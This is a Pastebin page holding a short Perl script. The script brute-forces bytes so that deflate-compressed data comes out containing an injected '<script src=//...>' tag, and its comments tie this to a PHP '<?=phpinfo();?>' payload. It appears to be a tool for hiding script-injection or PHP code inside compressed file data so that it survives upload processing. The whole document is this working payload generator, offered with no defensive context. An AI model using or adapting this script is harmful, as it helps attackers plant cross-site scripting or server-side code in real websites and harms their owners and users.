Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use strict;
- use warnings;
- use IO::Compress::Deflate ':all';
- use String::HexConvert ':all';
- print "[+] \"PH\": ". bruteforce("PH") ."\n\n"; # "PH" is from "php" on <?=phpinfo();?>
- print "[+] \"<?\": ". bruteforce("<?") ."\n\n"; # "<?" is from "<?=" on <?=phpinfo();?>
- sub bruteforce {
- my $p = $_[0];
- for( my $i = 0x0000; $i < 0xffff; $i++ ) {
- my $brute = sprintf("%x", $i);
- my $bin_brute = hex_to_ascii("0000f399281922111510691928276e6e".$brute."1f576e69b16375535b6f0000");
- my $out;
- deflate \$bin_brute => \$out or die "Deflate failed: $DeflateError ";
- if(index(uc($out), uc("<script src=//".$p."></script>")) != -1) {
- print "[+] Brute: $brute - Deflate: $out\n";
- return ascii_to_hex($bin_brute);
- last;
- }
- }
- die("[x] Bruteforce on \"$p\" not found !! \n\n");
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement